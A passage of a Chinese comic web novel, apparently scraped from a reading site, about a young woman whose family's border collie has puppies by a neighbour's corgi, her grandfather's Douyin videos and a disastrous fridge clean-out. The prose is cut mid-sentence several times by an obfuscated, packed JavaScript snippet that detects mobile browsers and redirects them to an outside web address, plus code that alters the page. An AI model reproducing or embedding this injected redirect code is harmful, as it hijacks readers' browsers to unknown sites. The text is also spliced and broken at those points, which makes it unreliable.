等反应过来时,她已经陷进坑里了,双手双脚死死卡住,活像一只四脚朝天的王八。 沙发上!为什么!会有个!坑! “啊啊啊救救我——” 易诚听到呼救,慌里慌张地跑进来,上前拽住常乐的胳膊,把她往外扯。 左边刚扯了出来,右边又陷得更深了。屁股歪斜着,卡得更死了。 “不行不行!”常乐向他伸出双手,“两只手一起扯。” 易诚站到她的正前方,两只大手攥住她的胳膊肘,用力往上拔—— 常乐终于被他像拔萝卜一样拔出来了。 “对不住啊。”易诚满脸歉意,又憋不住想笑,“这个洞是图图挖的。” 常乐大口喘着气,脸涨得通红,还没从刚刚的事故中缓过来。 她没好气地问:“你养的是狗还是老鼠啊?” 易诚解释道:“图图小时候有分离焦虑,只要我不在家,他就会满屋子找我。沙发上有我的味道,他以为我藏在里面,所以……” 常乐掀开沙发巾。其它地方虽然没有出现这种巨型深坑,但也被蹂.躏得不成样子了。 ……算她倒霉。 她揉了揉后腰,“把你家图图叫来。” “干嘛?”易诚一下子警觉起来,“你要打要骂冲我来就好了。” 好一个主仆情深。常乐翻了个白眼,“我不打他。你把他叫来,我找他有事。赶紧的!” 等了半天,易诚才忐忑不安地抱来了图图。 常乐坐在沙发中间位置,翘着二郎腿,看看手机里的照片,又看看图图。 “你看,简直一模一样。”她把手机举给易诚看。 易诚不解:“这是谁家的狗?” “我家的。我家养的边牧,莫名其妙怀孕了,前两天生了一窝小狗,我怀疑是柯基干的。” 常乐放下二郎腿,手肘撑在膝盖上,俯下身,直直地盯着图图。 这小东西,长得还挺可爱的,吐着舌头冲她笑。 常乐晃了晃脑袋。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“之前怎么不做?”常乐拧眉瞪眼,“哦,车撞树上知道拐了,大鼻涕掉嘴里知道甩了?” “之前……”易诚挠挠头,“是因为翠姨跟我说,我家图图长得好看,想让图图给她家泡芙配种,我就想等配完种再去绝育,没想到……“ 常乐:“……” 绕了一圈,还是绕不开翠姨。 易诚垂眸看着常乐,语气诚恳:“你放心,我会负责的。这几只小狗,你要是不想养,就给我养吧。” 常乐没好气地说:“不劳你费心,我家养得起。” 易诚顿了顿,又说:“还有你家边牧的医药费、营养费,后续的绝育费,都算在我头上,成吗?” 常乐不吭声,脸色缓和了几分。 “以后你家的狗粮、零食、冻干我都包了,还有,小狗要打疫苗、做绝育,这些钱也由我来出。” 随着易诚的保证越来越多,常乐气也消了大半。 能用钱解决的事都是小事。前提是,得由别人出钱。 她就是这么务实。 两人商量好,明天一早,易诚就带图图登门道歉,两家人坐在一起,讨论小奶狗的抚养权问题。 夜深了,常乐走在回家的路上,仰头望着路灯,心中喜忧参半。 喜的是,真相大白,神秘的孩子爹终于找到了。 忧的是,是个小短腿。等以后中年发福,肚子都要拖地了。 转念一想,至少图图长相可爱,以后小奶狗的颜值不会差。 可是他有分离焦虑,万一遗传给了孩子怎么办? 一想到家里有四只小恶魔,趁家里没人,就把沙发刨出巨坑,床垫啃出大洞,衣服撕成条,棉絮满屋飞…… 不会的不会的,她安慰自己。她不是刚成为全职女儿吗?照看小狗也是她的工作职责之一。 在她眼皮子底下,这群小崽子们能闹出什么幺蛾子? 心里的疙瘩解开了,常乐昂首挺胸,像打了胜仗似地回家了。 13. 13 早晨七点,102室次卧。 微短剧《带球跑后,我被霸总找上门》第三集,开机。 主角配角齐聚一室,床的左边坐着女方代表——姥姥姥爷,床的右边坐着男方代表——易诚。 床尾躺着四只酣睡的小奶狗,男主图图正踮着脚,趴在床边,好奇地嗅着四只萌宝,鼻头时不时往被子里拱。 被子底下,埋着常乐。 要不是此刻形象欠佳,她真的很想跳出来问问易诚—— 你管“早晨七点”叫上午啊? 这是当今社会一个年轻人应该有的作息吗? 而且,姥姥姥爷凭什么直接把他带进了自己的卧室?就为了来欣赏四只小奶狗的睡姿? 那她呢?她的睡姿,有人在乎吗? 迷迷糊糊地醒来,看到一屋子人都围着自己,与此同时,她的脚还被一条湿漉漉的大舌头舔着…… 这种社死的感觉谁能懂? 堪比穿着睡衣出门正好碰上高中同学聚会。 常乐把自己蒙在被子里装死。 她听见易诚在说话:“李婆婆,林爹爹,这件事是我不对,我没有及时给图图绝育,也没有栓好他,让他酿成大错。所以我想尽力弥补。有什么需要我做的,你们尽管提。” 然后是姥爷的声音:“哎,什么弥不弥补的,家里添丁是喜事。” 姥姥也附和道:“是啊,瞧你说的,狗发.情是很正常的事,有什么错不错的?” 常乐在被子里冷嗤一声。 “也不能这么说,毕竟是我们有错在先。”易诚态度很诚恳,“而且,照顾四只小狗还是很辛苦的。这样吧,等小狗断奶,我就带回去养,给你们减轻一点负担。” 姥爷大手一挥:“不用,我们家能养,狗崽跟着母狗也能长得更壮实。” 姥姥也说:“是啊,你照顾你爸不容易,哪有时间再照顾狗?这几只狗我们养了,你别管。” 常乐忍无可忍,在被子里大吼:“至少让他养一只啊!” 总不能连人带狗都是丧偶式育儿吧? 姥姥拍打着被子,“你这孩子,吓我一跳。” 姥爷呵斥道:“要说话你就出来说,哪有躲在被子里见客人的?” 常乐怒吼:“那你们倒是先出去啊!” “走了走了,我们出去说。”姥姥冲易诚招了招手,“这孩子害羞。” 房间里总算安静下来。 常乐把被子往下扒了扒,露出两只眼睛,警惕地张望一圈。 房里没人,门也被关上了。 常乐飞快地穿上居家服,越想越气:大早上来她房间开会,也不提前敲敲门,一点都不尊重她! 她气势汹汹地冲出房间,看见易诚跟姥爷正坐在沙发上,不知在聊什么,笑得很开心。 她提起一口气,正要火力全开,忽然被姥姥从身后削了一巴掌:“快去刷牙洗脸。看看你这头发,乱得鸡窝一样。” 常乐一下子吃瘪,灰溜溜地钻进去洗手间。 镜子里的自己一脸油光,眼角带屎,头发乱糟糟的。 若是以这副尊容去吵架,毫无气势不说,还可能把对方逗笑。 等她收拾完毕出来,姥姥姥爷已经在门口送客了。 “这就要走了?”她还没进入战斗状态呢。 易诚解释道:“是啊,我八点有课,所以一大清早就过来了。吵到你睡觉,真是抱歉,” 嘴上在道歉,眼里却闪烁着几分笑意。 “那小狗的事呢,你们商量好了吗?” 姥爷说:“等小狗断奶了,他来挑一只带走,其它的我们养。就这么决定了。” 常乐提醒道:“还有抚养费什么的……” 姥姥的铁砂掌又袭来:“你这孩子,掉钱眼里去了。要什么抚养费?养几只小狗能花多少钱?” 姥爷也驳斥道:“就是,几只狗我们家还养不起吗?” 常乐的脸涨得通红。 她不是贪财,只是想要狗爹付出一点代价,要么出钱,要么出力。总之,不能过得太轻松。 姥爷又转向易诚,脸色变得温和:“你快回去上课,别操心这些事了。” 易诚跟姥姥姥爷礼貌告别,又冲常乐摆摆手,牵着图图转身走了。 关上门,姥姥回到客厅,看到易诚留在茶几上的几盒东西,又哎呀呀地叫起来:“这孩子还提这么多东西来,这么见外……” 常乐凑过去一看,什么幼犬专用的羊奶粉、营养膏、液体钙、也不知这一大清早他上哪儿去弄的货。 常乐心里舒坦了一些。 昨天晚上胜宝母乳不够,小狗们嘤嘤叫了好久,常乐起床泡了碗羊奶,用注射器把他们挨个喂饱,才换来后半夜的宁静。 这两罐羊奶粉送得很及时。 她拿起一罐,正要扯开拉环,视线一扫,忽然“呀”了一声。 “怎么了?”姥姥问。 常乐看着装奶粉的纸袋,表情有点复杂。 姥爷也循声看过来。 纸袋底下,有个红包。 “哎呀这傻孩子!”姥姥惊呼一声,拿起红包打开,粗略数了数,三千。 姥爷催她:“赶紧还给人家。” 姥姥急忙跑了出去,嘴里还念叨着:“易诚这孩子真是实心眼,他爸治病都不够花的,还给我们钱……” -- 开车送林文娟上学时,常乐跟她说起这事。 林文娟沉默良久,叹了口气。 “唉,你这孩子,说好听点是较真,说难听点就是不懂人情世故。大家都是街坊邻里,认识这么多年了,这点小事说开了就行了呗,非得让人家出什么抚养费,啧。” 常乐觉得委屈:“昨天晚上是他主动提的,今天早上也是他主动给的,这能怪我吗?” 林文娟呛道:“人家跟你客气一下,你还真不客气了?” 常乐瘪着嘴,没吭声。 林文娟继续说:“你知道这些年他爸治病花了多少钱吗?虽说有医保,但很多费用还是要自己负担,光是那个脑血管支架就要三万。他都过得这么难了,你还要敲他竹杠,真是……” 常乐内心涌起一股愧疚感。 她喃喃地问:“他爸的病会好吗?” “很难。”林文娟叹了口气,“这才几年时间,他就老了这么多。上次我在小区门口见到他,差点没认出来。可能,就这几年了……” 常乐陷入了沉默。 小车缓缓停在老年大学门口。 林文娟下了车。关门时,她弯下腰,对常乐认真地说: “在家主动帮你姥姥姥爷干点活儿,他们年纪都大了,很多事都需要年轻人帮忙。别成天想着工资、报酬,人生还有很多事,比钱更重要。” -- 常乐回到家,一看时间,才八点半。一天才刚开始,可她已经有种深深的疲惫感。 姥姥买菜还没回来,姥爷一个人在房间里,估计又在忙活他的网红事业。 在躺着玩手机和主动干点家务活之间,常乐选择去骚扰姥爷。 她推门而入,果然,姥爷倚在窗边,作深沉状,面前立着一根三脚架。 姥爷见到她,一时有些局促,像上课偷玩被抓包的学生,急声道:“干什么你?进来也不敲门。” 常乐轻嗤一声。 你们进我房间不也没敲门吗?咱们都是一家人见什么外嘛。 “拍什么啊姥爷?”她走到三脚架前,嬉皮笑脸地说,“我帮你啊。” “不用你帮忙,出去出去。”姥爷摆摆手,就要赶她走。 “姥爷,你的老钱风穿搭视频怎么还没拍?我还等着点赞呢。” 姥爷迟疑了一下,“素材昨天就拍好了,就是……” “你不会剪?我帮你啊。” 姥爷摇摇头,“不用剪,把视频传上去,抖音会帮你剪辑,还能配乐,不麻烦。” “那是嫌拍得不满意?要不我帮你重拍?” 姥爷犹豫片刻,从三脚架上取下手机,递给常乐看。 “你看哈,这个背景我不太满意,跟我这气质一点都不搭。” 常乐低头一看,差点没笑出声。 视频里,姥爷戴着墨镜,穿一身棕色西装四件套,脖子上还系着同色系小方巾,脚下的棕色皮鞋疑似是常建民压箱底的那双。 嗯,果然老钱,这身行头一看就老费钱了。 “我是觉得,这个背景太乱了。” 视频是在这间卧室拍的,花窗帘、防盗网、老旧的家具,褪色的墙纸,的确跟这个主题不搭。 常乐接过姥爷的手机,“这个简单,我给你P一个就行了。” 她下载了一个P图软件,把视频传上去,选了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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吸睛,有创意,看一眼就想点进来…… 那就得玩个反差感。 她绞尽脑汁,终于想出一个:“当年穷得捡垃圾的我,三婚终于入赘豪门。” 姥爷脸一沉,“这让我的老脸往哪儿搁?” 五分钟后,常乐又想出一个:“回巴黎了,香榭丽舍的咖啡馆老板还记得我的喜好,有点惊喜。” 姥爷脸上溢满嫌弃之情,“太装了。” 常乐:“要的就是这个效果啊!” 转念一想,装得太过会被嘲笑的,算了算了。 又过了五分钟,常乐慢悠悠地说:“初恋女友要办八十大寿,穿哪套去比较好呢?” 姥爷咂摸了一下,终于点头:“这个还行,至少不丢人。” 得到甲方肯定后,常乐干劲十足,把标题打上去后,还编了个完整的故事: “六十多年前,初恋女友嫌我家里穷,转头嫁给了厂长的儿子。我南下打工,多年无音讯。这些年,她几次通过老家的亲戚联系到我,说想见见我,被我拒绝了。马上就是她的八十大寿,她向我发来邀请,网友们帮我看看,穿哪套去比较好?” 为防止甲方挑三拣四,常乐打完这一大段,直接点了发布。 视频发布后,常乐每隔几秒就要刷新一下,期待着播放量蹭蹭往上涨。 “行了,把手机给我吧。”姥爷都看不下去了,要回手机,把她赶出卧室,“这儿没你啥事了,帮你姥姥做饭去。” 常乐老惦记着自己的劳动成果,择一会儿菜就看一眼手机,看到视频已经有了几十个赞了,她按捺不住内心的兴奋,擦了擦手,在视频底下评论: 【第一次玩抖音,请问这是吴彦祖的账号吗?】 正打着字,手机被姥姥抢走了。 “干什么呢你?”她骂骂咧咧,“半个小时了,菜还没择好。我肉都炒好了,就等你的豆角下锅呢。” 她一边骂一边眯着眼看手机,突然,眉头一皱。 不等常乐解释,她就提着菜刀冲出厨房,大骂道: “林万全你个狗东西,你哪个初恋女友要办寿啊?” 14. 14 常乐赶紧跟过去。 假意劝架,实则看热闹。 姥姥还残留一丝理智,没有率先使用冷兵器。她攥着小钢锤一样的拳头,“梆梆”捶了姥爷几下,举着菜刀逼问:“上次你同学聚会回来,我就觉得不对劲。说!是不是那个姓叶的?” 常乐耳朵一下立了起来。 呦呵,还有意外收获? 下次视频的标题知道怎么取了。 “什么花啊叶啊的,你瞎琢磨什么呢?”姥爷捂着被捶的胳膊,痛得脸皱成一团,“没有初恋没有办寿,这都是瞎编的,不信你问乐儿。” 常乐连忙点头:“编的编的。我跟姥爷编了一上午,就想出这么一条能用的。” 姥姥看看常乐,又看看姥爷,仍是半信半疑。 “编也不编点好的,一大把年纪了,还初恋女友……这要是被熟人看到了,你不嫌丢人我还嫌丢人呢。” 常乐赔着笑解释:“姥姥,网上都这样,一切为了流量。有流量才能有粉丝,有粉丝才能接广告,接广告才能赚大钱。赚钱嘛,不丢人。” 姥姥收回菜刀,冷哼一声:“净搞这种歪门邪道!” 这边刚把姥姥安抚好,那边,母亲大人就打来电话轰炸—— “常乐!你干嘛去了?还有没有一点时间观念?我都在门口等了五分钟了,你人呢?” 常乐倒吸一口凉气。 她把接林文娟这事忘得一干二净。 “啊啊啊路上堵车,马上到!” 林文娟狠狠威胁:“十分钟之内没到,扣你一天工资!” 常乐马不停蹄地出门。 扣工资事小,得罪了老板,她的天就塌了。 -- 除了挨了顿骂,常乐这一天过得还算顺利。 尤其她是帮姥爷编辑的那条视频,点赞量还不错,评论区也有不少人互动玩梗。比他自己发的那几条打太极的视频要热闹多了。 晚上,一家人正准备吃饭,来了个不速之客。 开门的是常乐。她看着门外这个短发年轻姑娘,觉得有点眼熟,一时又想不起来。 半天没听到常乐的动静,林文娟大吼一声:“又点外卖了?一天天的,家饭不吃吃外面的野饭!” 常乐没有理会林文娟。她守着门口,问:“你找哪位?” 短发女孩笑盈盈道:“我是红外磁电理疗店的小杨,咱们上次见过啊。” “哦……”常乐记起来了,就是那个干爸干妈一箩筐的销冠啊。 “李婆婆在家吗?” “在。”常乐扯着嗓子喊道,“姥姥,找你的。” 姥姥急匆匆跑到门口,见到小杨,也是一脸惊讶。 “小杨?你怎么来了?” “李婆婆,我能进去说吗?”小杨从脚边抱起一个包装盒,“这是我们店给老顾客的福利。” “……哦,请进请进。” 一家人都围了过来,看小杨从盒子里取出一个黑色坐垫,放置在单人沙发椅上,然后摆好仪器、接上电线、插上插头。 小杨一边安装一边解释:“李婆婆,是这样的,我们店长看您每天到店里来做理疗,跑来跑去的很辛苦,所以让我给您送来一台电疗仪。您可以免费试用半个月,要是觉得好用,还可以留下来继续使用。” 一家人面面相觑,都猜不到她葫芦里卖的是什么药。 常乐试探地问:“留下来继续用?要钱吗?” 小杨笑容不改:“这款产品我们对外售价是一万八,李婆婆是我们的老客户,我可以向店长申请一个优惠价,一万两千八。” 姥姥腾地一下站起身,连连摆手:“那算了,你拿回去吧,我用不着。” “别啊,李婆婆。”小杨也跟着起身,亲热地搀扶着她的胳膊,“您先用一段时间,要是觉得不好,我再把东西搬走呗。” 她环视其他人,继续说:“您的家人要是感兴趣,也可以试一试,我们这款产品,适用于各个年龄段呢。”她的视线最后落在常乐身上,“美女,你上次来体验过,感觉怎么样?” “嗯,呃,还行……”常乐支支吾吾。 “那这几天怎么没看到你过来?” 常乐面露尬色:“呃……起不来。” “正好,我把这款产品放在你家,你想什么时候用就什么时候用,不用再早起排队了。” 常乐一时想不到拒绝的理由,只好嗯嗯哦哦地点头。 小杨又转头看了眼餐桌,“瞧我,说了这么半天,都耽误你们吃饭了。” 她往茶几上放了张名片,又捡起地上的空盒子和包装袋,向他们告辞:“那我先回店里了,有什么事随时联系我。” 一家人将她送出家门,回到沙发旁,从各个角度研究这块黑色坐垫。 常乐率先开口:“这又是什么套路?” 姥爷语气笃定:“就像她说的那样呗,先让你姥姥试用一段时间,等她用习惯了就舍不得退了。” 林文娟附和道:“对啊,你姥姥脸皮薄,到时候肯定不好意思退,就顺势买下来了呗。” 姥姥摆摆手,坚决地说:“那肯定不会,一万多呢,我怎么舍得?” 常乐总觉得这其中有诈。她恶意揣测道:“有没有可能,这台仪器本来就是坏的,她过半个月后来收回,就以仪器被损坏为理由,强行要求我们买下来?” 常建民皱皱眉,“这不太可能吧?我们又不是傻子,发现坏了肯定立马退货啊。” 林文娟也说:“你把人想得太坏了,她这样做生意,这家店还开得下去吗?” 常乐默不作声。 也许是一朝被蛇咬十年怕井绳,她总觉得,那家店从里到外都是一副随时要跑路的样子。 思索片刻,姥姥提出新思路:“我再去店里做两次理疗,就能领电饭煲了。难道是她不想给我?” 常乐忍俊不禁:“姥姥,一千多的电饭煲舍不得,一万多的电疗仪说给就给,这人有毛病吧?” “那不好说,老孙今天去领电饭煲,说店里的存货不多了。”姥姥对自己的推测坚信不疑,“明天我就去,早一次晚一次,必须领到!” 种种假设都被讨论了一遍,最后,大家一致认为姥爷的推测最靠谱—— 用着用着就舍不得退了,到时候,对方再顺水推舟,给个折扣价,姥姥没准儿一咬牙就买下来了。 毕竟是销冠,深谙人性的弱点。 -- 讨论结束,一家人回到餐桌,继续吃晚饭。 常乐忽然想起件事。她问林文娟:“妈,明天还上课吗?是我送还是我爸送?” 林文娟瞟了一眼常建民,不紧不慢地说:“本来工作日应该是你爸送的,他顺路去上班嘛,但是,他现在要罢工。” 常建民用力点了点头,“对,我要求同工同酬。” 常乐:“……” 林文娟:“所以我决定还是由你送,他自己坐公交车上班。” 常乐:……我那可怜的老父亲啊。 常建民笑呵呵地说:“你也可以先送你妈再送我,反正顺路,也就一脚油门的事。” 常乐:……收回刚刚对你的同情。 她双手抱胸,摆出做生意的架势:“顺道送你也行,不过,两个人就不是这个价格了。” 常建民笑容一秒凝固。 他幽怨地叹了口气:“算了,我还是坐公交吧。” 常乐扑哧笑了起来:“开玩笑的,你还当真了?你俩我都送,行了吧?就当买一赠一了。” -- 第二天一早,一家三口准时坐进了那辆小别克。 常乐伸长脖子看看车前,又扭头看看车后,犹豫片刻,讪讪地说:“爸,要不你来?” 真不能怪她车技不行。这些车停得跟幼儿园的小朋友们手牵着手过马路似的,一点缝隙不留,恨不得把脸焊在她的车屁股上。 常建民佯装无奈,叹着气跟她换了位置,脸上却写满了“关键时刻还得靠我啊”的小得意。 不用一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她感觉自己像个三胎宝妈,上午去老大的学校被班主任训话,下午陪老二参加学校集体活动,晚上还得帮老三做幼儿园作业,从早到晚忙得焦头烂额,心力交瘁。 “对了,”林文娟提醒她,“我可能会被评为优秀学员,所以,你最好准备一篇发言稿。万一老师把你请上台,让你说说鸡妈经验,你总不能站那儿傻笑吧?” “鸡、妈?”常乐闻所未闻。 林文娟点点头:“就跟鸡娃差不多。当然,这个主要是靠我自己努力。” 常乐心领神会:“我知道了,到时候,我多夸夸你。” 林文娟抿笑不语,眼神得意。 快到老年大学门口了,林文娟抓紧时间嘱咐她:“你今天要是没啥事,就把家里打扫一遍,重点是清理冰箱。你姥姥什么剩饭剩菜都往里塞,每次打开都一股味儿,熏得我头疼。” 常乐答应得很爽快:“行。” 小车缓缓停下。 林文娟继续说:“千万要趁你姥姥不在家的时候清理,把里面那些过期的、发霉的、用不上的,统统给扔了。” 常乐:“……行。” 还得打个时间差?听上去有点小刺激。 林文娟打开车门,又回头叮嘱道:“对了,记得扔远点!扔到她找不到的地方。我之前把那罐长了毛的榨菜给扔了,第二天,又出现在了冰箱!真是见鬼了!” 常乐:“……” 不就是断舍离嘛,还得斗智斗勇?整得像特工执行任务一样。 寒风裹挟着冷雨涌进来,林文娟赶紧下车,关上车门。 后排的常建民幽幽地补了一句:“你小心点。去年我在冰箱里发现了一袋过期五年的速冻饺子,我给扔了,第二天,饺子——” 常乐接话:“又回来了?” 常建民苦笑:“出现在了我的碗里。” 一股寒气忽然从背后袭来,常乐冷不丁打了个哆嗦。 15. 15 回到家,常乐谨遵林文娟的教诲,一直等到下午四点,姥姥出门做最后一次电疗,才开始行动。 她盘算着:从姥姥出门到做完电疗至少得半小时,领电饭煲可能还得拉扯一番,她只有一个小时的行动时间。 清理个冰箱而已,根本用不着—— 冰箱门一打开,一股混杂着饭菜馊味和陈年脚臭味的复杂味道扑面而来。 常乐被熏得眼泛泪花。 轻敌了。 她回卧室找了几个口罩,一层一层捂住口鼻,又从抽屉里翻出小时候的泳镜,还戴上了姥姥的橡胶手套。 从头到脚全副武装后,常乐再次拉开冰箱门。 白惨惨的光,映在她脸上。 冷藏区简直像个大型细菌培养皿。 常乐屏住呼吸,把剩饭剩菜、烂了的橙子、焉了的苹果、流汁水的红提、长绿毛的霉豆腐、像结了蛛网一般的榨菜罐子统统倒进垃圾桶。 冰箱上层空了一半。 第二波是是带包装的食品,她挨个查看保质期和食物状态。 和田大红枣,过期三年,扔。 好味道卤豆干,袋子胀气了,扔。 老干妈辣酱,过期十年???扔! 草莓酸奶,过期五天……留牌子,赐香囊。 一顿操作下来,冰箱又空了一半,垃圾桶已经满了。 剩下的都是些散装食物,用塑料袋包着。有的她能辨认出来,比如半根腊肠,一袋猪油渣,碎成沫的茶叶,还有各种卤料。 还有的,她实在猜不到是什么,看模样也挺磕碜,索性大手一挥,统统发配垃圾桶。 下层就好清理多了。常乐认为,食物一旦被冷冻,就进入了永生状态。只要不过期得太离谱…… 一袋拆封的水饺,过期六年。 哦,就是它,像鬼一样缠着常建民。 她毫不留情地将这袋水饺塞进垃圾袋,以绝后患。 还有一些冻货,看一眼就倒胃口,比如一袋冻得像石头一样硬邦邦的馒头,一包不知流传了多少个世纪的腌鱼,一团黑糊糊的不知道是什么动物的什么部位…… 统统扔了。 杀伐决断,大快人心,酣畅淋漓。 常乐整整清理出三大袋垃圾。 剩下的时间不多了。她拎着沉甸甸的垃圾袋出门,寻找最佳抛尸地点。 她在小区里四处晃悠,避开主干道,专往偏僻隐秘的林子里钻,远远地看见熟人,或者听见熟悉的声音,就迅速掉头。 就这样,寻寻觅觅,躲躲藏藏,她终于在一个人迹罕至的角落,找到几个硕大的墨绿色垃圾桶。 常乐提起一袋垃圾,在空中抡了个半圆,痛快地甩进垃圾桶。 接着,第二袋、第三袋…… 垃圾摔进桶里,发出沉闷的声响,她心里的石头也跟着落地。 常乐确信这个地方绝对隐秘,因为她回去的时候差点迷路。 打开家门,她一眼就看到地上有一个方方正正的包装盒。看来姥姥已经凯旋而归了。 常乐扯着嗓子喊:“姥姥,电饭煲领回来啦?” 姥姥没回答。 过了会儿,厨房里传出了姥爷的声音:“乐啊,你过来一下。” 语气听上去有点委屈,像刚刚被训斥了一顿。 常乐做了个深呼吸,换好鞋后,若无其事地走进厨房。 姥姥和姥爷站在冰箱前,一个脸色铁青,一个战战兢兢。 “怎么了?”常乐看看姥姥,又瞅瞅姥爷,佯装好奇,“你俩吵架了?” 姥姥紧绷着脸,怒瞪着常乐,气冲冲地问:“我问你,我冰箱里的东西呢?怎么少了那么多?” “啊?”常乐一脸无辜,“什么东西?我不知道啊,我刚从外面回来。” 姥爷当场揭穿她:“你下午不是在家吗?我听到你在厨房里窸窸窣窣的,不知在干嘛。” 常乐耸耸肩,“我来找吃的啊,中午没吃饱。吃完我就出去了。” 姥姥皱起眉,“出去干嘛了?” “闲得无聊就出去走走呗,你不是让我别老闷在家里嘛。”常乐冲她眨了眨眼,“姥姥,我听话吧?” 姥姥一个铁砂掌猛地袭来,摁住她的后脑勺,另一只手掐住她的后颈,把她抵在冰箱上,逼问道:“说!是不是你干的!” “哎哟哟哟疼!”常乐的脸都被蹂.躏得变形了。 她哀嚎着求饶:“我错了我错了,我说还不行吗?你先撒手!” 姥姥强忍着怒火,松开手。 “说啊,扔我东西干嘛?是不是你妈指使的?” 常乐搓了搓脸,又揉了揉后颈,吐槽道:“姥姥,你也不看看你那冰箱,菜都馊了,水果都烂了,还留着干嘛?我下午来找吃的,一打开冰箱,嚯!一只大蟑螂差点飞到我的脸上!还有几只在饭菜上面爬来爬去,恶心死了!我就把剩饭剩菜都给倒了。” 姥姥打开冰箱,上看下看,满脸狐疑道:“蟑螂?冬天怎么会有蟑螂?” “真的有!”常乐信誓旦旦地保证,“就跟变异了似的,又肥又大,还会飞!可能是咱们家伙食太好了吧,每天都有剩饭剩菜,所以蟑螂都跑到这里过冬了。” 姥姥脸色有些难看,仍半信半疑:“厨房我每天都打扫,干净得很。” 常乐睁大眼,继续吓唬她:“冰箱里有很多小孔、小缝,各种犄角旮旯的地方,你不知道吧?蟑螂最喜欢藏在里面了。所以,千万!不要!再把剩饭剩菜放冰箱了!” 姥姥一时吃瘪,脸上有几分尴尬。 过了会儿,她才不情不愿地说:“我以后用保鲜膜罩起来。” 她继续检查冰箱,又问:“我那些豆干、红枣、绿豆糕呢?也都给扔了?” 常乐:“姥,那些东西都过期好几年了!” 姥姥瞪她一眼,“放冰箱里怎么会过期呢?温度那么低。” 常乐:“……” 姥姥,你退休前好歹是个人民教师,怎么连这点常识都没有? 常乐只好继续扯谎:“姥,你多久没拿出来看看了?那些袋子里都长虫了,白花花的,还在蠕动……” “噫额,别说了,恶心死了。”姥姥瞬间变了脸色,摆摆手,“算了算了,扔就扔了吧,反正家里也没人爱吃。” 接下来,就是冗长的对账环节—— “我霉豆腐呢?” “长毛了。” “这很正常啊,霉豆腐本来就要长毛。” “长绿毛就有点惊悚了吧?” …… 库存清点到最后,姥姥又有了重大发现:“那几包散装的东西呢?那些都没有生产日期,总不可能过期吧?那半截腊肠,我还打算今晚炒大蒜叶呢!” 常乐:“扔了。” 姥姥:“卤料包呢?” 常乐:“长虫了。” 姥姥:“藏红花呢?” 常乐:“扔……嗯?藏、红、花?” 家里还有这么尊贵的客人? 姥姥追问:“冬虫夏草呢?鹿茸呢?阿胶呢?” 常乐彻底呆住了。 姥姥脸色又变得铁青,伸出手指,狠狠戳了下她的脑袋,骂道:“你个败家玩意儿!” 常乐忽然反应过来,转身拔腿就跑。 谁能想到,这个小冰箱里还卧虎藏龙啊? 外面雨还在下。细雨濛濛中,常乐努力回想刚刚走过的路:是从这棵树拐过去?这条路走到底再拐个弯?垃圾桶旁边好像有几棵桂花树…… 她在小区里鬼打墙似地转悠了二十多分钟,总算捕捉到一丝熟悉的痕迹,顺着找过去,终于见到了那几个隐蔽的垃圾桶。 那几包垃圾才刚扔进去不久,应该没有被转运。 常乐走近垃圾桶,探头往里一看,果然还在。 紧绷的弦终于松了,她长舒一口气。 常乐撸起袖子,踮起脚,上半身探进桶里,小手指向下一勾,轻轻松松就提出来了。 她蹲在地上,打开垃圾袋,一股馊味扑面而来。 不对,这一袋都是剩饭剩菜。 再走到旁边的垃圾桶前,手指勾起第二个,打开,各种瓶瓶罐罐、包装袋……也不对。 勾起第三个,打开,终于看到那些小塑料袋。她也不知是哪个,只能逐一打开,瞅一瞅,闻一闻。 一团红黄相间的细丝,应该就是传说中的藏红花吧?另一团黑色的小圆片,也许就是鹿茸?还有那一根根像树根一样的东西,大概是冬虫夏草。那块黑乎乎的板砖,不会就是阿胶吧? 常乐将它们统统塞进羽绒服的口袋。 她重新收拾好地上的垃圾,正要起身,一抬头,就看见易诚站在面前。 他举着透明的雨伞,朝她伸出手,手里拿着个塑料瓶。 “干什么?”常乐一脸懵。 易诚弯下腰,把塑料瓶放到她面前,说:“我家里还有几个空油壶,要不要?” 常乐:???

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585078|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 易诚以为她不好意思,还贴心地说:“你在这儿等着,我回去给你拿。” 说完转身就要走。 “你回来!”常乐站起身,大吼一声,“你是不是觉得自己还挺幽默的?” 易诚回头看着她,眼里闪过一丝困惑。 “你不是来捡瓶子的吗?油壶也能卖,还更值钱。小区里其他人都抢着要呢。” 常乐双手掐腰,气势汹汹地说:“我抢你个巴子!我是在找东西,不是在捡破烂!” 她捡起地上的塑料瓶,走到易诚面前,塞进他怀里,“自己的垃圾自己扔!” 易诚把瓶子扔进垃圾桶,手中的雨伞往常乐上方偏了偏,满脸歉意又忍不住想笑:“不好意思啊,我以为……” 常乐翻了个白眼,懒得搭理他。 视线一转,她忽然瞥见不远处的竹林里有个瘦小的人影,在雨雾中模模糊糊,一晃而过。 再定睛一看,人影就不见了。 ……大概是路人。常乐没放在心上。 